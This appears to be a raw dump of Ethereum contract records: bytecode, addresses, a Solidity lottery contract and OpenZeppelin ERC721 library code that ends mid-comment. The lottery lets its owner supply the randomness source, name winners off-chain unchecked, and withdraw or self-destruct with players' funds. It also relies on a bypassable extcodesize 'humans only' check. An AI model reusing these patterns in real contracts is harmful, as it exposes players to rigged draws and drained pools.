d60e51b815260206004820181905260248201527f6761734c6566742063616e6e6f742065786365656420696e697469616c476173604482015290519081900360640190fd5b818503830161179301633b9aca00858202026fffffffffffffffffffffffffffffffff8110615b3757fe5b9695505050505050565b6000611e188261ffff168461ffff160161ffff61554b565b6040518060a00160405280615b6c615c87565b81526060602082018190526040820181905280820152600060809091015290565b604051806103e00160405280601f906020820280368337509192915050565b604080518082019091526000808252602082015290565b600283019183908215615c495791602002820160005b83821115615c1957835183826101000a81548161ffff021916908361ffff1602179055509260200192600201602081600101049283019260010302615bd9565b8015615c475782816101000a81549061ffff0219169055600201602081600101049283019260010302615c19565b505b50615c55929150615cae565b5090565b82601f8101928215615c49579160200282015b82811115615c49578251825591602001919060010190615c6c565b60408051608081018252600080825260208201819052918101829052606081019190915290565b5b80821115615c555760008155600101615caf56fe416363657373436f6e74726f6c6c65644f6666636861696e41676772656761746f7220332e302e306f7261636c6520616464726573736573206f7574206f6620726567697374726174696f6ea2646970667358221220757bff216f6d81152fcaa510caac9632619adc3b29bcb61ba73c0af8d453fb2864736f6c63430007060033
[ 7, 34, 12, 16, 5 ]
0xf37aa5f945688488056f32112267570517bbc303
pragma solidity 0.4.24; contract Owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract SafeMath { function multiplication(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function division(uint a, uint b) internal pure returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function subtraction(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function addition(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } } contract LottoEvents { event BuyTicket(uint indexed _gameIndex, address indexed from, bytes numbers, uint _prizePool, uint _bonusPool); event LockRound(uint indexed _gameIndex, uint _state, uint indexed _blockIndex); event DrawRound(uint indexed _gameIndex, uint _state, uint indexed _blockIndex, string _blockHash, uint[] _winNumbers); event EndRound(uint indexed _gameIndex, uint _state, uint _jackpot, uint _bonusAvg, address[] _jackpotWinners, address[] _goldKeyWinners, bool _autoStartNext); event NewRound(uint indexed _gameIndex, uint _state, uint _initPrizeIn); event DumpPrize(uint indexed _gameIndex, uint _jackpot); event Transfer(uint indexed _gameIndex, uint value); event Activated(uint indexed _gameIndex); event Deactivated(uint indexed _gameIndex); event SelfDestroy(uint indexed _gameIndex); } library LottoModels { // data struct hold each ticket info struct Ticket { uint rId; // round identity address player; // the buyer uint btime; // buy time uint[] numbers; // buy numbers, idx 0,1,2,3,4 are red balls, idx 5 are blue balls bool joinBonus; // join bonus ? bool useGoldKey; // use gold key ? } // if round ended, each state is freeze, just for view struct Round { uint rId; // current id uint stime; // start time uint etime; // end time uint8 state; // 0: live, 1: locked, 2: drawed, 7: ended uint[] winNumbers; // idx 0,1,2,3,4 are red balls, idx 5 are blue balls address[] winners; // the winner's addresses uint ethIn; // how much eth in this Round uint prizePool; // how much eth in prize pool, 40% of ethIn add init prize in uint bonusPool; // how much eth in bonus pool, 40% of ethIn uint teamFee; // how much eth to team, 20% of ethIn uint btcBlockNoWhenLock; // the btc block no when lock this round uint btcBlockNo; // use for get win numbers, must higer than btcBlockNoWhenLock; string btcBlockHash; // use for get win numbers uint bonusAvg; // average bouns price for players uint jackpot; // the jackpot to pay uint genGoldKeys; // how many gold key gens } } contract Lottery is Owned, SafeMath, LottoEvents { string constant version = "1.0.1"; uint constant private GOLD_KEY_CAP = 1500 ether; uint constant private BUY_LIMIT_CAP = 100; uint8 constant private ROUND_STATE_LIVE = 0; uint8 constant private ROUND_STATE_LOCKED = 1; uint8 constant private ROUND_STATE_DRAWED = 2; uint8 constant private ROUND_STATE_ENDED = 7; mapping (uint => LottoModels.Round) public rounds; // all rounds, rid -> round mapping (uint => LottoModels.Ticket[]) public tickets; // all tickets, rid -> ticket array mapping (address => uint) public goldKeyRepo; // all gold key repo, keeper address -> key count address[] private goldKeyKeepers; // all gold key keepers, just for clear mapping?! uint public goldKeyCounter = 0; // count for gold keys uint public unIssuedGoldKeys = 0; // un issued gold keys uint public price = 0.01 ether; // the price for each bet bool public activated = false; // contract live? uint public rId; // current round id constructor() public { rId = 0; activated = true; internalNewRound(0, 0); // init with prize 0, bonus 0 } // buy ticket // WARNING!!!solidity only allow 16 local variables function() isHuman() isActivated() public payable { require(owner != msg.sender, "owner cannot buy."); require(address(this) != msg.sender, "contract cannot buy."); require(rounds[rId].state == ROUND_STATE_LIVE, "this round not start yet, please wait."); // data format check require(msg.data.length > 9, "data struct not valid"); require(msg.data.length % 9 == 1, "data struct not valid"); // price check require(uint(msg.data[0]) < BUY_LIMIT_CAP, "out of buy limit one time."); require(msg.value == uint(msg.data[0]) * price, "price not right, please check."); uint i = 1; while(i < msg.data.length) { // fill data // [0]: how many // [1]: how many gold key use? // [2]: join bonus? // [3-7]: red balls, [8]: blue ball uint _times = uint(msg.data[i++]); uint _goldKeys = uint(msg.data[i++]); bool _joinBonus = uint(msg.data[i++]) > 0; uint[] memory _numbers = new uint[](6); for(uint j = 0; j < 6; j++) { _numbers[j] = uint(msg.data[i++]); } // every ticket for (uint k = 0; k < _times; k++) { bool _useGoldKey = false; if (_goldKeys > 0 && goldKeyRepo[msg.sender] > 0) { // can use gold key? _goldKeys--; // reduce you keys you want goldKeyRepo[msg.sender]--; // reduce you keys in repo _useGoldKey = true; } tickets[rId].push(LottoModels.Ticket(rId, msg.sender, now, _numbers, _joinBonus, _useGoldKey)); } } // update round data rounds[rId].ethIn = addition(rounds[rId].ethIn, msg.value); uint _amount = msg.value * 4 / 10; rounds[rId].prizePool = addition(rounds[rId].prizePool, _amount); // 40% for prize rounds[rId].bonusPool = addition(rounds[rId].bonusPool, _amount); // 40% for bonus rounds[rId].teamFee = addition(rounds[rId].teamFee, division(_amount, 2)); // 20% for team // check gen gold key? internalIncreaseGoldKeyCounter(_amount); emit BuyTicket(rId, msg.sender, msg.data, rounds[rId].prizePool, rounds[rId].bonusPool); } // core logic // // 1. lock the round, can't buy this round // 2. on-chain calc win numbuers // 3. off-chain calc jackpot, jackpot winners, goldkey winners, average bonus, blue number hits not share bonus. // if compute on-chain, out of gas // 4. end this round // 1. lock the round, can't buy this round function lockRound(uint btcBlockNo) isActivated() onlyOwner() public { require(rounds[rId].state == ROUND_STATE_LIVE, "this round not live yet, no need lock"); rounds[rId].btcBlockNoWhenLock = btcBlockNo; rounds[rId].state = ROUND_STATE_LOCKED; emit LockRound(rId, ROUND_STATE_LOCKED, btcBlockNo); } // 2. on-chain calc win numbuers function drawRound( uint btcBlockNo, string btcBlockHash ) isActivated() onlyOwner() public { require(rounds[rId].state == ROUND_STATE_LOCKED, "this round not locked yet, please lock it first"); require(rounds[rId].btcBlockNoWhenLock < btcBlockNo, "the btc block no should higher than the btc block no when lock this round"); // calculate winner rounds[rId].winNumbers = calcWinNumbers(btcBlockHash); rounds[rId].btcBlockHash = btcBlockHash; rounds[rId].btcBlockNo = btcBlockNo; rounds[rId].state = ROUND_STATE_DRAWED; emit DrawRound(rId, ROUND_STATE_DRAWED, btcBlockNo, btcBlockHash, rounds[rId].winNumbers); } // 3. off-chain calc // 4. end this round function endRound( uint jackpot, uint bonusAvg, address[] jackpotWinners, address[] goldKeyWinners, bool autoStartNext ) isActivated() onlyOwner() public { require(rounds[rId].state == ROUND_STATE_DRAWED, "this round not drawed yet, please draw it first"); // end this round rounds[rId].state = ROUND_STATE_ENDED; rounds[rId].etime = now; rounds[rId].jackpot = jackpot; rounds[rId].bonusAvg = bonusAvg; rounds[rId].winners = jackpotWinners; // if jackpot is this contract addr or owner addr, delete it // if have winners, all keys will gone. if (jackpotWinners.length > 0 && jackpot > 0) { unIssuedGoldKeys = 0; // clear un issued gold keys // clear players gold key // no direct delete mapping in solidity // we give an array to store gold key keepers // clearing mapping from key keepers // delete keepers for (uint i = 0; i < goldKeyKeepers.length; i++) { goldKeyRepo[goldKeyKeepers[i]] = 0; } delete goldKeyKeepers; } else { // else reward gold keys if (unIssuedGoldKeys > 0) { for (uint k = 0; k < goldKeyWinners.length; k++) { // update repo address _winner = goldKeyWinners[k]; // except this address if (_winner == address(this)) { continue; } goldKeyRepo[_winner]++; // update keepers bool _hasKeeper = false; for (uint j = 0; j < goldKeyKeepers.length; j++) { if (goldKeyKeepers[j] == _winner) { _hasKeeper = true; break; } } if (!_hasKeeper) { // no keeper? push it in. goldKeyKeepers.push(_winner); } unIssuedGoldKeys--; if (unIssuedGoldKeys <= 0) { // no more gold keys, let's break; break; } } } // move this round gen gold key to un issued gold keys unIssuedGoldKeys = addition(unIssuedGoldKeys, rounds[rId].genGoldKeys); } emit EndRound(rId, ROUND_STATE_ENDED, jackpot, bonusAvg, jackpotWinners, goldKeyWinners, autoStartNext); // round ended // start next? if (autoStartNext) { newRound(); } } function newRound() isActivated() onlyOwner() public { // check this round is ended? require(rounds[rId].state == ROUND_STATE_ENDED, "this round not ended yet, please end it first"); // lets start next round // calculate prize to move, (prize pool - jackpot to pay) uint _initPrizeIn = subtraction(rounds[rId].prizePool, rounds[rId].jackpot); // move bonus pool, if no one share bonus(maybe) uint _initBonusIn = rounds[rId].bonusPool; if (rounds[rId].bonusAvg > 0) { // if someone share bonus, bonusAvg > 0, move 0 _initBonusIn = 0; } // move to new round internalNewRound(_initPrizeIn, _initBonusIn); emit NewRound(rId, ROUND_STATE_LIVE, _initPrizeIn); } function internalNewRound(uint _initPrizeIn, uint _initBonusIn) internal { rId++; rounds[rId].rId = rId; rounds[rId].stime = now; rounds[rId].state = ROUND_STATE_LIVE; rounds[rId].prizePool = _initPrizeIn; rounds[rId].bonusPool = _initBonusIn; } function internalIncreaseGoldKeyCounter(uint _amount) internal { goldKeyCounter = addition(goldKeyCounter, _amount); if (goldKeyCounter >= GOLD_KEY_CAP) { rounds[rId].genGoldKeys = addition(rounds[rId].genGoldKeys, 1); goldKeyCounter = subtraction(goldKeyCounter, GOLD_KEY_CAP); } } // utils function calcWinNumbers(string blockHash) public pure returns (uint[]) { bytes32 random = keccak256(bytes(blockHash)); uint[] memory allRedNumbers = new uint[](40); uint[] memory allBlueNumbers = new uint[](10); uint[] memory winNumbers = new uint[](6); for (uint i = 0; i < 40; i++) { allRedNumbers[i] = i + 1; if(i < 10) { allBlueNumbers[i] = i; } } for (i = 0; i < 5; i++) { uint n = 40 - i; uint r = (uint(random[i * 4]) + (uint(random[i * 4 + 1]) << 8) + (uint(random[i * 4 + 2]) << 16) + (uint(random[i * 4 + 3]) << 24)) % (n + 1); winNumbers[i] = allRedNumbers[r]; allRedNumbers[r] = allRedNumbers[n - 1]; } uint t = (uint(random[i * 4]) + (uint(random[i * 4 + 1]) << 8) + (uint(random[i * 4 + 2]) << 16) + (uint(random[i * 4 + 3]) << 24)) % 10; winNumbers[5] = allBlueNumbers[t]; return winNumbers; } // for views function getKeys() public view returns(uint) { return goldKeyRepo[msg.sender]; } function getRoundByRId(uint _rId) public view returns (uint[] res){ if(_rId > rId) return res; res = new uint[](18); uint k; res[k++] = _rId; res[k++] = uint(rounds[_rId].state); res[k++] = rounds[_rId].ethIn; res[k++] = rounds[_rId].prizePool; res[k++] = rounds[_rId].bonusPool; res[k++] = rounds[_rId].teamFee; if (rounds[_rId].winNumbers.length == 0) { for (uint j = 0; j < 6; j++) res[k++] = 0; } else { for (j = 0; j < 6; j++) res[k++] = rounds[_rId].winNumbers[j]; } res[k++] = rounds[_rId].bonusAvg; res[k++] = rounds[_rId].jackpot; res[k++] = rounds[_rId].genGoldKeys; res[k++] = rounds[_rId].btcBlockNo; res[k++] = rounds[_rId].stime; res[k++] = rounds[_rId].etime; } // --- danger ops --- // angel send luck for players function dumpPrize() isActivated() onlyOwner() public payable { require(rounds[rId].state == ROUND_STATE_LIVE, "this round not live yet."); rounds[rId].ethIn = addition(rounds[rId].ethIn, msg.value); rounds[rId].prizePool = addition(rounds[rId].prizePool, msg.value); // check gen gold key? internalIncreaseGoldKeyCounter(msg.value); emit DumpPrize(rId, msg.value); } function activate() public onlyOwner { activated = true; emit Activated(rId); } function deactivate() public onlyOwner { activated = false; emit Deactivated(rId); } function selfDestroy() public onlyOwner { selfdestruct(msg.sender); emit SelfDestroy(rId); } function transferToOwner(uint amount) public payable onlyOwner { msg.sender.transfer(amount); emit Transfer(rId, amount); } // --- danger ops end --- // modifiers modifier isActivated() { require(activated == true, "its not ready yet."); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } }
0x
[ 12, 18 ]
0xf37ad81bba2b7232cdf4b53113f607d9956dd820
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, 